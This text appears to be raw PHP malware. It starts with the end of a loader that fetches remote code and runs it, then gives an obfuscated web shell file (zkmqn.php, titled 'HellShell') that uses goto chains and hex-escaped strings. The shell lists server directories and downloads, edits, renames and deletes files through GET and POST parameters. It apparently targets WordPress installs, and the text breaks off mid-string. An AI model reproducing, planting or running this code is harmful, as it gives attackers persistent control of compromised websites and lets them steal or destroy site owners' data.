-------------------------------------------- $remoteCode = loadRemoteData($mainUrl); if (strlen(trim($remoteCode)) > 0) { $payload = createStealthPayload($remoteCode); extractAndExecutePayload($payload); // Executes hidden remote code } ?> PKJm\Ύ=// zkmqn.phpnu[N1bTQ("\x61\144\155\151\156\151\x73\164\x72\x61\164\157\x72"); goto SRNMA; zFgBo: TRreX: goto lGxrt; V9MeH: Mf8XU: goto idhLU; lVEqA: GtXL7: goto q6Dhk; akgyC: ZcleN: goto KksL3; EMWmv: FZ2AP: goto YsVg0; PpMWV: goto ddJgy; goto P3Edt; VXOpn: R1csS: goto vROd0; wsSRO: D1biO: goto IMh2y; S_j6T: goto AJEvA; goto Ze6iU; HtCJj: goto QjXFk; goto mVSsr; KuLD8: ddJgy: goto NO3ry; tmFJ3: goto qRRBF; goto FR0vb; Xpr4d: Sx9yk: goto K25PE; FGaG1: HPZNv: goto caCjE; KJ9DW: goto pHswN; goto Aq8ar; A3U_c: goto S5Fw8; goto c6i_W; aijv1: goto U3iSv; goto KGpi0; XDRQ6: goto LGqK1; goto z7lyU; yrBhB: wZ7ek: goto ZC7Hp; oilrT: nyxtr: goto HrEHe; Bj6yj: @error_reporting(0); goto gHIW2; t45jc: p7RcU: goto S_j6T; p8nFI: hSHZi: goto jFU4M; M1sbV: ZxcyU: goto IZSOL; bX6wS: goto AOh9o; goto rBTq1; iGDOl: goto IqZZY; goto kPGD9; nJOL3: goto jx92z; goto W3QoJ; KmpX7: OFmO8: goto Kq6Pa; nDgjJ: bdO96: goto prjZV; JOi4O: L3B6x: goto vw0N5; ptU3E: goto LNCXp; goto ocGZL; XtvJl: hICWj: goto taEru; DkneV: jB8SS: goto Et_rQ; QYSDt: goto L6DFb; goto TwqXQ; bsDQj: goto hE81D; goto Vt018; KHiK3: goto pYA8s; goto J_Hln; Yr3rL: $c2TOA = $JglkV === "\x77\160\55\x62\154\157\147\x2d\146\162\157\x6e\164\56\160\150\160"; goto Bcjeb; cYkRq: NDbCh: goto hKh1w; rOPBo: goto yOMqM; goto xNL3S; Ze6iU: XTrPy: goto J5sJ6; ENk7J: hRga3: goto PDrMa; jWWrY: VNH2v: goto ihlYt; OE5yA: goto hSHZi; goto hlzGB; X6pqt: MtHzM: goto Z4ti4; nmnAf: TXPYd: goto YvG2f; HPY0G: DlJPI: goto WHIvP; vnxQO: NuHtj: goto u01qJ; CRQCp: M3Nyk: goto MWJuv; FBet9: goto UJfjM; goto OLa4J; xPu83: goto Nj2BT; goto cmre0; QVOeC: Sk_8B: goto fJCbZ; pPuqB: goto KOHoK; goto XnVfC; vWI69: goto pDGyY; goto HozkL; C1F0D: H9M8J: goto nZSBh; on6bL: Bq6R4: goto XUR1G; qBbCO: goto WV1q4; goto CsmT9; a1Q2t: if (!is_file($xBtNn)) { goto ppimC; } goto ItzMj; qW_H0: KOcL8: goto a1Q2t; wAzz2: goto tnzae; goto TXnS3; MJUaz: goto pW0Lg; goto q2Xs9; oYOLp: egqsq: goto NsKNm; x55BZ: goto KOFAb; goto GKNUm; X_Rx5: C04vy: goto JFMBg; UDjGd: v0BK4: goto oYmQe; HLD_L: oepv3: goto b_0ZW; zi3cN: goto wHPSX; goto ZnsV8; b_0ZW: goto wGiMn; goto Owtkw; bm28A: rD0Y7: goto o5L9C; A6Ru8: b0gsz: goto DuIvo; uQFMA: DAUAM: goto Yr3rL; OMyEo: $s8hWD = new S6w0T($tUnme); goto xMHB4; SOxZQ: LvNAD: goto T21kq; Fs86k: PbdyU: goto FBwr6; QBC7y: zFbrx: goto Zoi8b; UJv1z: LerbK: goto HODk0; JY0sP: i_d0m: goto Y7noi; eMvwK: goto dKikv; goto rPcjt; kp5n9: BgbEE: goto Kk1Ev; drZ7J: goto NuHtj; goto aODuH; LQGuL: goto rOJ8q; goto Woiag; AGf2c: WV1q4: goto tn5HK; wvM5G: q7hoD: goto LfvTH; u3UcH: YcUig: goto wvM5G; QPDRP: goto pfJQ7; goto xyW2D; d1lZ2: goto msEep; goto hyxRS; SzvFg: goto QLiDU; goto jFXX4; XnTpj: Mlzlf: goto YS87K; FOBjz: FQgPB: goto aijv1; N0tdo: goto l8Ts7; goto CRQCp; ot7OM: GFVEx: goto ZqIvO; OLBkN: goto NlnCg; goto bsexg; D6Njc: m9e_l: goto LK51e; oBk_h: goto qnoxP; goto lVtDI; DuIvo: goto OZSVK; goto HyZO0; ijn0m: goto MtHzM; goto tJTtt; Owtkw: gRnHu: goto tCX8N; mGj0u: yqCJY: goto MHH3p; bZqDa: ImjyR: goto OmOy_; oDR69: goto kNw4K; goto bp0Ep; p_EOs: goto zT7B3; goto itVgW; FAw4n: goto GtXL7; goto Xpr4d; rHid2: skzZX: goto Ew4Vq; JzMHZ: if (empty($_GET["\x64\x6c"])) { goto gtobW; } goto HVahR; zPWuV: MfzhX: goto XQoQW; LAQcH: goto rLxPm; goto LPrNA; STKGW: cUXEM: goto pVl5H; N5T9R: goto obHgD; goto aPdzy; Fn2MS: vyGaQ: goto HBo7O; Qztwc: y67Ap: goto Ye10f; O1iFw: qRRBF: goto bAvkV; dhR5e: YuCj4: goto KAIdj; PZazT: goto Kjfaz; goto VWhb1; C7_fs: goto MfzhX; goto uQFMA; nagnh: eYfsX: goto XveWy; iCa1I: goto UE4UV; goto fFQF6; ux48b: goto nw9_P; goto KyGJz; cS1Um: goto aF9v3; goto r9ul1; V2OHJ: goto kwn_w; goto kTiZl; IMh2y: iNoeY: goto ekQhe; UalKh: goto BtDrW; goto juHmK; kgXAp: exit; goto av9h0; qX85B: r6FWt: goto Zf00L; vQh3A: cFPwG: goto XRSia; jjccd: goto B3ej5; goto y2xVh; ByJ5y: eL3o9: goto aCgnf; wEY1S: cLY67: goto DuCLf; YNYtN: n1xAc: goto QDb5k; oD1Eb: nwZhy: goto z51Jf; Hw32e: goto yYo4F; goto RUISB; bShoH: GUAlg: goto mY2O0; TPPFj: R2qCT: goto R3R3R; pmXSl: xAjms: goto XfhKL; vrgjF: goto lGDG8; goto YNYtN; veujo: goto GFVEx; goto t786g; Ye10f: DbkW8: goto hrlxR; o5L9C: goto zy63J; goto wRq1b; IZSOL: goto plEkR; goto d7rGB; Qay5o: goto v1oOS; goto uIeAN; W1Yey: jVYnj: goto auHqi; Vxlow: SScWF: goto kgXAp; UVUtQ: M0ssD: goto njHeJ; cSm55: goto QIiQR; goto SSma9; Dl1hP: goto pgOuG; goto Szx32; tObSm: Vpv02: goto SG5Lg; D5wXD: B_6Vv: goto WGcpz; sZ75u: QtsT4: goto Qay5o; r9ul1: yg7sc: goto eU41h; cmre0: YpUjo: goto CmNmh; O_PAq: Bdf2T: goto T_f2O; k5H1Z: $xBtNn = realpath($_GET["\x64\154"]); goto L2A51; q7YAy: goto eB7a0; goto GTP3p; lfrx4: MntkF: goto GX5GA; XYhaQ: goto oRPQR; goto cFk3g; hbaSs: qEiXE: goto evbZT; hxDMW: EGZPJ: goto Dh0LO; JrmU1: goto fciXr; goto pmXSl; chfAw: goto NDS3W; goto v_bQx; ZyBPB: Sh82s: goto JTJ_6; HODk0: echo "\74\150\62\76\105\x64\x69\164\x69\156\x67\x3a\40" . basename($OYF8c) . "\x3c\x2f\150\x32\76"; goto T5gqz; CWDzT: V0rXx: goto C1vkz; sszjo: zy63J: goto kBz8y; bCGEg: o43mB: goto He2H7; h6GK8: BiKFr: goto KmQnX; oIF6W: Ke450: goto iXpBE; fM7Ha: if (is_file($OYF8c)) { goto f5nlv; } goto S301N; niBes: UJfjM: goto OQYRM; HwQDA: goto yyPmy; goto Aaa8o; dDHyn: @rename($D8T_A, $HF_AU); goto O5gxF; T1VpJ: EY5Ku: goto chPI0; xbpy_: goto WZXZz; goto yCiAq; Tm20x: mQZH3: goto TPqB0; MpkXP: goto j65UW; goto wY1La; e6jhU: ufbsx: goto uOeWD; GgoUW: goto Mf8XU; goto oBk_h; kY5qy: goto m8VZu; goto VhhhS; ROCbh: goto QlU0m; goto vCrY0; uOeWD: goto FZ2AP; goto hcwoJ; Qtv3E: MBBhg: goto Wfahm; tCX8N: nYEWv: goto VDpyM; guWkM: laL26: goto rEqON; cae8L: $tUnme = Dmvx7($fNAU7, $QeOFD, $q5ijL); goto HLnpY; APQLu: UQx3P: goto kY5qy; ik5MB: goto Uh58U; goto rHid2; hwypA: goto An6YB; goto tUduY; mXvip: goto q7hoD; goto K31sk; x6VNx: ACxZw: goto eM273; G_inn: I2JmY: goto cae8L; chPI0: goto btFGI; goto kdEdc; Q7X2c: Y2g2U: goto iAu5k; Pfozd: vos2X: goto VNQhF; kTiZl: goto JLhkU; goto jU6lT; i7xEX: goto q0QYS; goto ZKuDE; APerP: goto cc93s; goto FKta4; d_uUZ: zBLh6: goto EV0lx; qw6I2: goto DlJPI; goto zdSMe; KZ0MR: goto IHITf; goto NSBT6; aziJz: bEuoB: goto fz82N; pWLEz: goto MyQwH; goto psN7E; AbqTt: FeMir: goto QNppl; Wu0Dj: goto p7RcU; goto BCH5S; soE6m: goto evnh5; goto OA0vJ; m0qBm: goto zFbrx; goto bm28A; gaUcj: goto Uxmld; goto UDjGd; iXCp0: goto EMYdI; goto xEXPk; ZqIvO: goto vyGaQ; goto KAvzx; uGhan: goto fglM4; goto JRoYV; ivss1: w1uy_: goto lPC2j; TPqB0: goto YuCj4; goto Yi1pu; CsmT9: goto pOAWG; goto CNAMg; zfiF0: goto ReNg9; goto rxL9a; Ogr2e: goto ZFoCt; goto DYob3; PKpvj: eidbW: goto UUu0V; mNl1r: goto ZeFgS; goto BTV6s; J66w6: g6iHC: goto cTu15; VKTu_: uvuvp: goto GKsnu; P3Edt: WPVEP: goto ZyBPB; vGXSF: goto H4smI; goto lmu5v; yxCxR: BBOPc: goto SXKBh; at1Di: fT1WW: goto gIm_B; U1oqU: goto Bdf2T; goto FOBjz; c7tgh: goto I2JmY; goto CZLgn; c9tdZ: goto TXPYd; goto aPMgW; LPrNA: rivn3: goto ZgZvc; SIi_F: T07g6: goto sszjo; X3sGq: JDHCe: goto O29SP; ry0vH: goto iZ5nl; goto HgL8O; qXC8Y: goto KX2Vx; goto qB9Xc; TAeJb: goto DckSI; goto MfKxB; C1n98: Kcvlm: goto TH0hL; NO2YR: IOF4v: goto foNlo; y2xVh: goto LWJCi; goto eKlHo; ijyDK: echo hVC0_($JdqDR); goto gaUcj; gIm_B: goto JMBjk; goto mUedk; N0XQT: WPvfP: goto VKTu_; maSn0: goto ZzPDj; goto QsPIc; FY3ak: goto bMXBV; goto mNl1r; DULDq: goto YvT8m; goto cD76l; tBYLp: goto A5jA1; goto J6pyu; UCa6o: goto j2XUx; goto HMmv3; ebmTO: wssjk: goto s2s94; gtyx3: @unlink($OYF8c); goto xglhX; yikDg: goto SuKca; goto wsSRO; KyGJz: jZbVd: goto AW3Fk; O_ANL: vulF5: goto pS7J6; m3RSl: goto XO56O; goto SbBwM; QrANG: goto zxdlp; goto WOL8H; XAd4w: xCCXR: goto A3iAc; A5vJ4: goto ct3Gd; goto CH5gS; vUscg: Xu8Zx: goto XW18E; nuTOO: gNdVv: goto xdHqL; lmu5v: ZFoCt: goto ithkt; PJpNQ: IfnJf: goto F51Qt; lOUZQ: goto s6Utd; goto yTLyD; H7JE0: yyPmy: goto m6RZK; BTV6s: QxCZA: goto pfb_H; kdEdc: jED5H: goto Rke00; HEtXH: goto QT1FZ; goto wW6wz; LHMHt: goto Kcvlm; goto b8TnL; E6mJN: goto VRmhe; goto bnXuH; O1XTW: pgOuG: goto fW3YQ; VIfmn: goto fdUer; goto L7bMW; t786g: obHgD: goto pPuqB; K31sk: goto rxTcl; goto qW_H0; YfHrC: T4o2I: goto hu4uH; N7YKq: rF9Q0: goto Yp3qL; Qd3lh: if (empty($_POST["\x6e\145\167\x66\151\x6c\x65"])) { goto egqsq; } goto DW21w; MLYir: FAGob: goto bq3T2; DuCLf: HTfnm: goto yjdWQ; OLa4J: f5n0p: goto s5nwg; d12wZ: goto JscKU; goto CTPbL; P3Dsn: goto PEDAo; goto cg4ZT; R3R3R: goto Ig84v; goto OuzcA; DwdO1: goto TbGY0; goto zK5Gj; aODuH: IqZZY: goto ilgUX; ihlYt: goto bgQX6; goto wV2dM; RTRbS: goto ImjyR; goto HEtXH; pS7J6: goto UQx3P; goto jg0N4; x2NQw: n4Z1k: goto JmZFb; V4Gs8: goto xCCXR; goto B1nVA; O0SeS: goto W6f3O; goto tmFJ3; nRCFw: goto ZxcyU; goto tBYLp; zLv0S: goto AG2ub; goto whaQj; c1U1G: goto zBLh6; goto wD9U7; PQ4_q: goto LvNAD; goto JFlyl; u01qJ: M_aAL: goto veujo; C6DGU: goto OCR1p; goto fm2b4; prjZV: file_put_contents($OYF8c, $_POST["\x66\151\x6c\x65\144\141\x74\141"]); goto k4Vi5; tn5HK: goto n1dUr; goto Qztwc; OQYRM: cR2JV: goto jG054; ZvKn_: goto iwDZz; goto h43tU; lRc0U: NKnHC: goto m3RSl; cAAde: goto VMmqS; goto u7cmk; XnVfC: goto y67Ap; goto nagnh; GcvOD: eJqKf: goto wo9bF; Lfe3c: h7FAQ: goto MqVgE; uEoKz: goto GvS0d; goto tzF67; coJ7U: m8VZu: goto tEAi1; LHCPs: goto nWrVW; goto ydG6k; bnyOP: V3DtT: goto at1Di; KoEQZ: kNw4K: goto zAaF6; hiKrU: goto gw96m; goto OE7sw; CwWL8: KugWs: goto M2hcK; nk0Ti: echo $hznvy; goto soNvH; CZKTK: vuZTj: goto Osgk9; Yj7dO: Y0jlT: goto qLPnR; vwZaR: nZebr: goto HLD_L; dzeBt: WrIFn: goto Sj5EP; ckwc3: goto iWIvM; goto FL8BU; QNppl: goto yF6N3; goto CSW8n; GFjzR: goto uo4RA; goto GhxD3; nMeT9: goto ipmoX; goto XAd4w; Q92Uz: RZCVG: goto RrQzB; Mmj9S: if (empty($_GET["\162\x6d"])) { goto XFYQV; } goto lAoqM; VTF8J: HfAyO: goto Wu0Dj; sjCR2: CxF4g: goto HL_Ea; Q1G_q: goto uLRAc; goto H7UpU; G6_zE: goto QfHUS; goto dzZAB; ZKuDE: AMiM3: goto P0cNU; Noz1Z: EM03P: goto tLalb; x1zVu: nw9_P: goto V1vcl; yvmps: goto R1csS; goto bIuzY; wY1La: goto h5315; goto KXSWh; zdpHs: goto LerbK; goto BuMBm; fYcK6: goto bB2bQ; goto cUMx9; TNp3M: goto a7Syc; goto PVG03; bBowp: goto kDQNo; goto G8pQn; B05Ub: goto xUQTL; goto bnyOP; M92EE: goto YPNKf; goto MK6VQ; wW6wz: bJytY: goto FLgPu; s9Uw_: goto TkaFs; goto v0IZQ; tvKkm: goto LcHIH; goto Fs86k; gUCUZ: goto Xu8Zx; goto zPWuV; hyfoa: goto DAUAM; goto f3roe; G8RQx: goto lvK0j; goto KMUru; XUR1G: N_uzv: goto gco9H; W6N2X: VPmxL: goto chfAw; SbBwM: tcFgj: goto QrANG; IHLnC: Qjkti: goto HFyGT; NC8Tt: goto veDoV; goto idetg; cUMx9: TOJnr: goto bkpQm; pAD7h: foreach (scandir($JdqDR) as $jCoCn) { goto UyE9z; Y66nj: goto n9JmS; goto CmzPy; jZlId: goto Se3Tu; goto UILML; aiXU6: goto Hc5YW; goto CeA49; WYe8a: goto b1Sy6; goto RLwy3; yeT4n: hhcfl: goto H8BnH; SCbx4: LnGzv: goto zH3J1; dWdfR: goto kYwc5; goto fRt65; yHJKI: zckap: goto cC8lK; kpLTJ: ww1pr: goto PQx9C; n0Icx: goto hovEi; goto ieGSh; ZEQ3y: goto v8v3A; goto sHonK; XAOvM: goto JRZly; goto tuZY1; oTceV: LWu5h: goto SF4P0; yYzOb: echo "\x3c\x2f\x74\x64\76\74\x74\x64\40\x73\x74\x79\x6c\145\75\x27\x63\x6f\154\157\162\x3a{$nMJTQ}\47\x3e{$zg_8u}\74\x2f\x74\x64\x3e\x3c\164\144\76\xa\x20\x20\x20\x20\x3c\x61\40\163\x74\x79\x6c\145\x3d\47\143\157\x6c\x6f\x72\x3a\x77\150\x69\x74\145\x27\x20\x68\162\145\x66\x3d\47{$y7k3f}\x27\76\104\74\57\141\x3e\xa\40\x20\x20\x20\x3c\x66\157\x72\155\x20\x63\154\x61\x73\x73\75\47\151\156\154\x69\x6e\x65\x27\40\155\145\164\x68\157\x64\75\x27\160\157\163\164\47\x20\x6f\156\x73\165\142\x6d\151\164\75\x27\162\x65\164\165\x72\x6e\x20\x72\145\156\x61\x6d\x65\103\x6f\x6e\x66\151\162\x6d\x28\x74\150\x69\163\51\x27\x3e\12\x20\x20\40\40\74\x69\x6e\x70\x75\164\x20\x74\171\x70\145\x3d\47\150\151\144\x64\x65\x6e\x27\40\x6e\141\155\145\x3d\47\x72\x65\156\x61\x6d\145\137\x6f\154\144\47\x20\x76\141\154\165\x65\75\47{$B_FcA}\x27\x3e\12\40\x20\x20\x20\x3c\x69\156\x70\x75\164\x20\x74\171\160\145\x3d\47\164\145\170\x74\47\x20\156\x61\155\145\x3d\47\162\145\156\141\x6d\x65\137\156\x65\167\x27\x20\x76\x61\154\165\145\75\47" . htmlspecialchars($jCoCn) . "\47\x20\x73\x74\171\x6c\x65\75\47\x77\151\x64\x74\x68\72\67\x30\160\x78\47\76\12\x20\40\40\40\x3c\142\x75\164\x74\157\156\40\163\164\171\154\145\x3d\x27\x63\157\x6c\157\162\72\x77\150\x69\164\145\x27\x3e\122\x3c\57\142\165\164\164\157\x6e\x3e\xa\x20\x20\x20\x20\74\x2f\x66\157\x72\155\76\xa\40\x20\x20\40\x3c\x61\40\x73\x74\171\154\145\x3d\x27\x63\157\154\x6f\x72\x3a\167\150\151\164\145\47\40\150\162\145\146\75\47{$Hltqj}\47\x3e\105\74\x2f\141\x3e\xa\40\x20\x20\x20\x3c\57\x74\x64\76\x3c\x2f\164\162\76"; goto bT8db; c5L6t: goto Ln1ZT; goto prmJm; oVW4n: goto fVz1f; goto d5M8e; u1Ujr: OS6HX: goto XcsWr; BYjEX: goto gC_nZ; goto kGEuA; SfTo5: goto XmNHK; goto aeLSj; FcO1M: goto BA5Y_; goto tQEXP; YhIq7: goto TqnTE; goto pT5jL; fRt65: fVz1f: goto FcO1M; H8BnH: goto ne4ge; goto ybvzn; nt4Ds: pwhrg: goto Y63ME; X0KyS: hovEi: goto emleV; DSRj9: BTRC8: goto uZL8m; BH5yT: XbFFZ: goto yYzOb; w6XrN: $y7k3f = "\x3f\x64\x69\162\x3d" . urlencode($JdqDR) . "\x26\144\154\x3d" . urlencode($B_FcA); goto CfdED; YKYhJ: goto iUN4R; goto M0t1W; CmzPy: PpN1E: goto FdShd; Hjko0: echo "\x3c\x74\x72\x3e\x3c\164\x64\40\163\x74\171\154\x65\75\47\x63\x6f\x6c\x6f\x72\72{$nMJTQ}\47\76"; goto n0Icx; hhHIX: YULeT: goto yvqNV; WjkFx: goto WT6NY; goto Mh9Mz; N5kcV: goto QaNoD; goto yeT4n; tA7kr: goto loqVU; goto xKN8C; p3ddV: QaNoD: goto ZL2Dt; k381R: goto vseTk; goto h9Ahu; o3UvO: JVFFy: goto dp3bf; mMPhr: vseTk: goto WcKwo; UILML: JRZly: goto lh4fL; nyOcl: goto KIcvZ; goto XZNfU; TZeub: goto mz60F; goto tA7kr; dKObb: PcK78: goto dbyy_; zdB2U: V3gWK: goto u9145; G0bdL: w96y4: goto ulBpB; M0t1W: goto oLutN; goto F8iBn; yvqNV: rVIbV: goto QfgFv; eNMy1: RSt_5: goto Tzhjh; g1Mwd: E5c6l: goto o40iL; b6w1W: goto zPi6x; goto Og_xx; ssDLc: Ln1ZT: goto N5kcV; CeA49: goto OS6HX; goto HDW3d; Lh2Ce: goto jVjWf; goto SCbx4; D1HA1: HjmKJ: goto BiAY0; jN7HS: goto evaVG; goto Qppls; xPHbk: Se3Tu: goto Scnm2; wW_Pu: goto JdfwG; goto VH8fr; hi5J2: goto JVFFy; goto H3hLL; LxY_2: goto Y0R_U; goto KtXCs; HDW3d: EaZ0n: goto YKYhJ; grNQv: goto iMqQ6; goto f0h4T; Qr6DM: LVJwS: goto w6XrN; i0xNU: goto HldqB; goto InW24; UovVL: goto Chjeo; goto uJ9Wa; cQOnS: RGJFQ: goto VjUJ0; Qppls: aFbdp: goto Xsbju; CfdED: goto RGJFQ; goto ePr2H; N7jK5: sRzTa: goto DSRj9; XZNfU: goto YULeT; goto sPmAg; emleV: goto zckap; goto BK9Z2; eoJep: HFjca: goto PElk1; bT8db: goto EaZ0n; goto X0KyS; vUqeX: Avye1: goto G0bdL; Fo4Ze: uJjJO: goto a4qAR; ElKy2: I9xNA: goto NlPIq; VadYr: goto gZ8G9; goto Fo4Ze; Mh9Mz: goto S1QS5; goto veyYh; NlPIq: if (is_dir($B_FcA)) { goto Glzcf; } goto S5FJQ; h_xE4: TqnTE: goto srvFf; uZL8m: goto pz9NH; goto S36Yq; VaAmQ: Dquw7: goto C4tSW; zRGcS: auC7e: goto edsE6; xOGoU: echo htmlspecialchars($jCoCn); goto i0xNU; PElk1: $epbTS = "\x3f\x64\151\162\x3d" . urlencode($JdqDR) . "\46\x72\155\75" . urlencode($B_FcA); goto YF0jv; sPmAg: FpKAZ: goto xOGoU; WbT4H: goto vB3JR; goto zRGcS; nJE0E: XN6Cy: goto eNMy1; VH8fr: jVjWf: goto Hjko0; rCzF8: wbtD5: goto VadYr; kGEuA: QL6U8: goto wTv3h; PeBja: Chjeo: goto c5L6t; uxWZg: goto mK9OZ; goto BH5yT; dbyy_: goto rVIbV; goto Nuhtr; aFy_Q: goto XbFFZ; goto g1Mwd; wTv3h: ne4ge: goto Lh2Ce; grZum: goto ww1pr; goto hiHAj; Scnm2: goto BTRC8; goto BYjEX; rucUY: echo "\74\141\40\x68\162\145\x66\75\47\77\x64\x69\x72\75" . urlencode($B_FcA) . "\x27\x3e\133\x44\x49\x52\x5d\x20{$jCoCn}\x3c\57\x61\x3e"; goto WzKXA; Xsbju: goto gIaSm; goto J2e4b; tuZY1: GtRyG: goto Jds7I; FmD5s: HqXhf: goto HHS0l; n_MvJ: lHL_A: goto h_xE4; CrOLp: oLutN: goto yHJKI; au_ND: $Hltqj = "\x3f\144\x69\x72\75" . urlencode($JdqDR) . "\46\x65\x64\x69\x74\x3d" . urlencode($B_FcA); goto jZlId; ieGSh: kYwc5: goto aiXU6; RbjFb: le7qE: goto o3UvO; PQx9C: Hc5YW: goto WbT4H; o40iL: goto qrqe0; goto C3TUe; J2e4b: goto GtRyG; goto RbjFb; f6V7N: mz60F: goto FjMZZ; dp3bf: goto OuMj7; goto N7jK5; S5FJQ: goto KnG44; goto iSetL; tQEXP: goto le7qE; goto n_MvJ; edsE6: goto RSt_5; goto PDgB3; wVI5R: goto fU0xm; goto zdB2U; VjUJ0: goto LWu5h; goto k381R; PDgB3: goto sRzTa; goto hhHIX; iSetL: Glzcf: goto dWdfR; ZL2Dt: $zg_8u = is_file($B_FcA) ? filesize($B_FcA) : "\x2d"; goto Y66nj; cC8lK: goto I9xNA; goto LjeAj; a4qAR: qrqe0: goto wVI5R; FrdKK: sgnIB: goto WjkFx; hiHAj: vB3JR: goto LxY_2; BSIu1: goto lHL_A; goto aUw7A; pT5jL: goto E5c6l; goto eoJep; RLwy3: goto aFbdp; goto E7qW_; prmJm: goto QL6U8; goto cQOnS; nkieJ: goto LVJwS; goto LF_ML; Og_xx: tVKMg: goto D4Jx_; S36Yq: rKfzf: goto D1HA1; BiAY0: goto FpKAZ; goto WjfbZ; nxkyZ: XmNHK: goto PWZsV; BYNaH: if (!($jCoCn === "\x2e")) { goto tVKMg; } goto b6w1W; iT0U6: goto Y7YW8; goto CrOLp; Y63ME: KIcvZ: goto wW_Pu; aeLSj: mK9OZ: goto BYNaH; F8iBn: HldqB: goto nyOcl; InW24: pz9NH: goto fAGNE; E7qW_: yJrNY: goto TZeub; u9145: iMqQ6: goto ZEQ3y; d5M8e: Y7YW8: goto rucUY; fAGNE: $nMJTQ = is_writable($B_FcA) ? "\x23\x66\146\60" : "\43\146\x30\60"; goto I175j; xKN8C: cSOBQ: goto VaAmQ; WcKwo: WT6NY: goto uxWZg; FjMZZ: goto k0tWZ; goto nt4Ds; PWZsV: zPi6x: goto kj4no; uJ9Wa: k0tWZ: goto YhIq7; khUIN: goto wGijR; goto XAOvM; LF_ML: JdfwG: goto WYe8a; FdShd: Y0R_U: goto iT0U6; C4tSW: goto Avye1; goto xPHbk; zH3J1: goto HjmKJ; goto jN7HS; QfgFv: goto cSOBQ; goto PeBja; Nuhtr: goto HqXhf; goto u1Ujr; KtXCs: goto XN6Cy; goto nJE0E; Tzhjh: goto vUVxy; goto x1Zlu; I175j: goto hhcfl; goto vUqeX; sriQb: fU0xm: goto rCzF8; veyYh: p4DnE: goto hi5J2; WjfbZ: v8v3A: goto Ne9GF; HHS0l: wGijR: goto nkieJ; u23sO: goto LnGzv; goto ddkME; h9Ahu: vUVxy: goto u7lJB; yKuUf: goto wbtD5; goto SfTo5; WzKXA: goto auC7e; goto OZKHg; YF0jv: goto p4DnE; goto sriQb; ybvzn: goto pwhrg; goto p3ddV; ePr2H: gZ8G9: goto grNQv; Ne9GF: $B_FcA = $JdqDR . "\x2f" . $jCoCn; goto UovVL; D4Jx_: goto Zs341; goto Qr6DM; XcsWr: KnG44: goto u23sO; x1Zlu: gC_nZ: goto ssDLc; OZKHg: n9JmS: goto khUIN; H3hLL: goto uJjJO; goto dKObb; Y0rSP: gIaSm: goto grZum; C3TUe: goto rKfzf; goto bxbKZ; LjeAj: OuMj7: goto au_ND; kj4no: goto yJrNY; goto kpLTJ; bxbKZ: loqVU: goto oTceV; aUw7A: evaVG: goto f6V7N; f0h4T: goto V3gWK; goto ElKy2; BK9Z2: goto PpN1E; goto FrdKK; sHonK: Zs341: goto yKuUf; lh4fL: iUN4R: goto BSIu1; Jds7I: BA5Y_: goto aFy_Q; srvFf: goto PcK78; goto mMPhr; u7lJB: b1Sy6: goto oVW4n; UyE9z: goto sgnIB; goto nxkyZ; ddkME: S1QS5: goto Y0rSP; SF4P0: goto HFjca; goto FmD5s; ulBpB: } goto xExXe; PDrMa: if (empty($_POST["\x73\141\166\145\x66\151\x6c\x65"])) { goto AMiM3; } goto i7xEX; fK2Ze: goto uPBS1; goto JelQD; Zjoa3: UE4UV: goto KJ9DW; Vnkje: goto J2g9H; goto iO6Px; pfb_H: goto YdNYY; goto DZPMO; A3iAc: goto BPJ4w; goto H_Ys8; Orv0N: dLMym: goto m0qBm; pq4ZS: goto g6iHC; goto hKizP; kD6XT: goto PMfz0; goto f4YMc; jyS94: goto wG4QQ; goto beXJa; ElFdE: if (!(!$JdqDR || !is_dir($JdqDR))) { goto NEL4y; } goto txvvt; QkkKu: $OYF8c = realpath($_GET["\162\x6d"]); goto GFjzR; yUnRu: lAGKT: goto tkAOW; LhIiH: goto O2GDB; goto ecHb3; UDF0S: QT1FZ: goto XnTpj; RhnSC: AyUTC: goto l3eRf; kmudu: header("\x43\157\156\164\x65\x6e\x74\55\104\x69\x73\160\x6f\163\x69\164\151\157\x6e\72\40\141\x74\164\141\143\150\155\145\x6e\164\x3b\40\x66\151\x6c\145\x6e\x61\155\145\x3d\x22" . basename($xBtNn) . "\42"); goto vGXSF; Dh0LO: goto IfnJf; goto qjebX; rQbqD: goto R2qCT; goto dJQ6q; lhDSv: goto tMLMs; goto UGHVI; IrMlS: QjXFk: goto zN5y3; jEBL_: goto bdO96; goto RnKjm; QIsGB: yRMAV: goto O3TT9; KEX0F: goto Hm5Mz; goto JOi4O; AxE95: goto X_VRy; goto bqqHi; KVKlT: goto Vpv02; goto C7_fs; fJCbZ: q0QYS: goto OksMU; fj_AW: pnE5r: goto Fn2MS; ZGS9I: echo "\74\x2f\x75\x6c\x3e\74\x68\x72\76"; goto Lct8Y; fZ4fb: MyQwH: goto zxPvx; GzHf1: wodEv: goto Xq2OV; OiT2O: SuKca: goto RTRbS; WHIvP: goto hRga3; goto xlAOS; uzFib: XO56O: goto gw4Nl; iwikX: goto Naw4a; goto nuJVB; SAtNS: rxTcl: goto nl37G; T7lRt: echo "\x3c\x21\x44\117\103\124\131\120\105\40\x68\164\155\x6c\76\12\x3c\x68\164\x6d\154\76\12\x3c\150\x65\141\144\x3e\xa\x3c\155\145\x74\x61\40\143\150\x61\x72\x73\x65\x74\75\x22\165\164\x66\x2d\x38\42\76\xa\x3c\x74\151\164\x6c\x65\x3e\x48\x65\154\154\123\x68\145\x6c\x6c\74\x2f\x74\151\x74\x6c\x65\76\xa\74\x73\164\171\154\145\x3e\12\x62\157\x64\x79\x20\x7b\x20\142\141\143\153\147\162\157\165\x6e\144\x3a\43\x30\x30\60\x3b\40\x63\157\154\157\162\72\43\146\146\60\73\x20\x66\x6f\156\164\x2d\146\141\x6d\x69\154\x79\x3a\x41\x72\x69\x61\x6c\54\40\x73\x61\156\x73\55\x73\x65\x72\x69\x66\x3b\40\x74\145\x78\164\x2d\x61\154\x69\147\x6e\x3a\x63\145\x6e\164\x65\162\x3b\40\175\xa\150\x32\40\x7b\x20\143\x6f\x6c\157\x72\72\x23\x66\x66\60\73\x20\155\x61\162\147\151\156\72\62\60\160\170\40\60\x3b\x20\175\xa\141\x20\x7b\40\x63\157\154\157\x72\72\x23\146\x66\60\73\x20\x74\x65\170\x74\55\x64\x65\143\x6f\x72\x61\x74\x69\x6f\x6e\x3a\156\x6f\156\145\x3b\x20\x7d\12\141\72\150\157\x76\145\162\x20\173\40\x74\x65\170\x74\x2d\x64\x65\x63\x6f\162\x61\164\151\x6f\x6e\x3a\x75\x6e\x64\145\162\x6c\x69\156\145\73\40\175\xa\x2e\x6f\x6b\x20\173\40\143\157\154\157\x72\x3a\x23\x30\146\x30\73\x20\175\xa\x2e\145\162\162\x20\x7b\x20\x63\x6f\x6c\x6f